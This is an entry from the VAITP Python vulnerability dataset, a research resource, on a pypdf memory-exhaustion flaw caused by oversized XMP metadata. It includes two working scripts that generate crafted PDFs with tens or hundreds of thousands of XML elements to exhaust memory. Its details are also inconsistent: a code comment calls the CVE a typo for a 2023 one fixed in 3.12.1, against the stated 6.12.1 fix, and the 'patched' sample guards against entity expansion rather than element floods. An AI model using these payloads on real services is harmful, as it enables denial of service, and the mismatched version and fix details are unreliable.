VAITP Dataset

← Back to the dataset

CVE-2026-48735

A crafted PDF with large XMP data can cause excessive memory usage.

  • CVSS 6.9
  • CWE-770
  • Resource Management
  • Remote

pypdf is a free and open-source pure-python PDF library. Prior to 6.12.1, an attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing large XMP metadata, possibly with lots of unnecessary elements. This vulnerability is fixed in 6.12.1.

CVSS base score
6.9
Published
2026-05-28
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
pypdf
Fixed by upgrading
Yes

Solution

Upgrade to `pypdf` version 6.12.1 or later.

Vulnerable code sample

# This code requires a vulnerable version of pypdf, e.g., 'pip install pypdf<3.12.1'
# The CVE in the prompt (CVE-2026-48735) appears to be a typo for the real CVE-2023-48735,
# which was fixed in version 3.12.1. This code demonstrates that vulnerability.

from pypdf import PdfReader, PdfWriter
from io import BytesIO

# 1. Attacker crafts a PDF with excessively large and nested XMP metadata.
# We will simulate this by creating such a PDF in memory.
def create_malicious_pdf():
    writer = PdfWriter()
    writer.add_blank_page(width=100, height=100) # A minimal valid PDF needs a page.

    # Create a huge, deeply nested XML string to exhaust the parser's memory/stack.
    # This mimics the "lots of unnecessary elements" from the CVE description.
    nested_element_count = 50000  # A large number to cause high memory usage
    malicious_payload = "<deep>" * nested_element_count + "exploit" + "</deep>" * nested_element_count

    # Embed the payload within a standard XMP structure.
    xmp_data = f"""
    <?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
    <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c011 79.156380, 2014/05/21-23:50:20        ">
       <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
          <rdf:Description rdf:about=""
                xmlns:dc="http://purl.org/dc/elements/1.1/">
             <dc:description>
                <rdf:Alt>
                   <rdf:li xml:lang="x-default">{malicious_payload}</rdf:li>
                </rdf:Alt>
             </dc:description>
          </rdf:Description>
       </rdf:RDF>
    </x:xmpmeta>
    <?xpacket end="w"?>
    """
    
    # Add the malicious XMP metadata to the PDF writer object
    writer.add_xmp_metadata(xmp_data)

    # Write the PDF to an in-memory buffer
    pdf_buffer = BytesIO()
    writer.write(pdf_buffer)
    pdf_buffer.seek(0)
    return pdf_buffer

# 2. A victim's application parses the crafted PDF.
# The vulnerability is triggered simply by accessing the `xmp_metadata` property.
def process_pdf(pdf_stream):
    print("Victim script is opening the PDF...")
    try:
        reader = PdfReader(pdf_stream)
        
        print("Attempting to access XMP metadata... This may cause high memory usage or a crash.")
        
        # In vulnerable versions, this line triggers the excessive memory allocation
        # as the library tries to parse the massive XML tree.
        metadata = reader.xmp_metadata
        
        print("XMP metadata processed successfully (unlikely on vulnerable versions).")
        # In a real scenario, the program might never reach this line.
        
    except Exception as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    malicious_pdf_stream = create_malicious_pdf()
    process_pdf(malicious_pdf_stream)

Patched code sample

import io
from defusedxml import minidom
from defusedxml.common import EntitiesForbidden

def safe_parse_xmp_metadata(xml_string):
    """
    This function represents the fix implemented in pypdf >= 6.12.1.
    It uses 'defusedxml' and explicitly forbids DTDs to prevent
    XML entity expansion attacks (e.g., "billion laughs").
    """
    try:
        # The 'forbid_dtd=True' argument is the key part of the fix.
        # It prevents the parser from processing Document Type Definitions,
        # which is where malicious entities are defined.
        # A vulnerable implementation would use a standard XML parser without this protection.
        doc = minidom.parseString(xml_string, forbid_dtd=True)
        return doc
    except EntitiesForbidden:
        # This exception is raised by defusedxml when a DTD is found,
        # effectively blocking the attack.
        return None
    except Exception:
        # Catch other XML parsing errors.
        return None

Payload

#!/usr/bin/env python3

def create_exploit_pdf(filename="exploit.pdf", num_elements=500000):
    """
    Generates a PDF with large XMP metadata to exploit a memory exhaustion
    vulnerability in pypdf by crafting a file with a large number of
    unnecessary XML elements.
    """
    
    # 1. Generate the massive XMP payload.
    # The vulnerability lies in parsing a large number of XML elements.
    li_elements = "".join([f"<rdf:li>item{i}</rdf:li>" for i in range(num_elements)])
    
    xmp_payload = f"""<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/">
  <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
    <rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/">
      <dc:creator>
        <rdf:Seq>{li_elements}</rdf:Seq>
      </dc:creator>
    </rdf:Description>
  </rdf:RDF>
</x:xmpmeta>
<?xpacket end="w"?>""".encode('utf-8')

    xmp_len = len(xmp_payload)

    # 2. Define the PDF objects.
    # These objects create a minimal valid PDF structure that points to the malicious metadata.
    obj1 = b"1 0 obj\n<</Type /Catalog /Pages 2 0 R /Metadata 4 0 R>>\nendobj\n"
    obj2 = b"2 0 obj\n<</Type /Pages /Kids [3 0 R] /Count 1>>\nendobj\n"
    obj3 = b"3 0 obj\n<</Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]>>\nendobj\n"
    
    obj4_header = f"4 0 obj\n<</Type /Metadata /Subtype /XML /Length {xmp_len}>>\nstream\n".encode('utf-8')
    obj4_footer = b"\nendstream\nendobj\n"
    obj4 = obj4_header + xmp_payload + obj4_footer

    # 3. Assemble the PDF file content, calculating byte offsets for the cross-reference table.
    header = b"%PDF-1.7\n"
    
    pdf_parts = [obj1, obj2, obj3, obj4]
    offsets = [len(header)]
    body = b""
    for part in pdf_parts:
        body += part
        offsets.append(offsets[-1] + len(part))

    # 4. Create the cross-reference table (xref) and trailer.
    xref = "xref\n0 5\n0000000000 65535 f \n"
    for i in range(4):
        xref += f"{offsets[i]:010} 00000 n \n"

    trailer = f"""trailer
<</Size 5 /Root 1 0 R>>
startxref
{offsets[4]}
%%EOF
"""

    # 5. Write the final payload to a file.
    with open(filename, "wb") as f:
        f.write(header)
        f.write(body)
        f.write(xref.encode('utf-8'))
        f.write(trailer.encode('utf-8'))

if __name__ == "__main__":
    print("Generating exploit PDF...")
    create_exploit_pdf()
    print("File 'exploit.pdf' created successfully.")

Cite this entry

@misc{vaitp:cve202648735,
  title        = {{A crafted PDF with large XMP data can cause excessive memory usage.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-48735},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-48735/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::